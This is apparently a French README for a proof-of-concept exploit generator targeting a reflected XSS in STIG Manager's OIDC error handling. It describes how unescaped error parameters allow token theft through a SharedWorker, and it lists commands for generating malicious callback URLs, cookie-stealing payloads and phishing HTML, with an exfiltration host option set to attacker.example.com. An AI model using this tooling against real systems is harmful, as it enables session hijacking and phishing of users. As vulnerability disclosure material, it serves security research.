
Générateur d'exploit de preuve de concept pour XSS réfléchie dans l'authentification OIDC de STIG Manager, permettant le vol de jetons de session via des URL de callback conçues et une sortie HTML de phishing.
Preuve de concept conceptuelle pour la vulnérabilité de Cross-Site Scripting (XSS) réfléchi dans STIG Manager versions 1.5.10 à 1.6.7.
Une vulnérabilité XSS réfléchi existe dans le code de gestion des erreurs d'authentification OIDC de l'application Web STIG Manager. Les paramètres de requête error et error_description renvoyés par le fournisseur OIDC sont écrits directement dans le DOM via innerHTML sans échappement HTML. Un attaquant capable de créer une URL malveillante et de convaincre un utilisateur de la suivre peut exécuter du JavaScript arbitraire dans le contexte de l'application.
La vulnérabilité est plus grave lorsque l'utilisateur ciblé dispose d'une session STIG Manager active dans un autre onglet du navigateur — le code injecté peut communiquer avec le SharedWorker qui gère le jeton d'accès, permettant des requêtes API authentifiées au nom de la victime.
# Générer une URL de rappel malveillante (mode vol de jeton SharedWorker)
python3 cve-2026-41200-poc.py -c http://localhost:54000/auth/callback -m sharedworker
# Générer une charge utile simple de vol de cookie
python3 cve-2026-41200-poc.py -c http://localhost:54000/auth/callback -m simple
# Sortie en HTML de phishing
python3 cve-2026-41200-poc.py --format html
# Hôtes API et d'exfiltration personnalisés
python3 cve-2026-41200-poc.py \
-c https://stig-manager.example.com/auth/callback \
-a https://stig-manager.example.com \
-e https://attacker.example.com
Cet outil est fourni à des fins éducatives et pour la recherche en sécurité autorisée uniquement.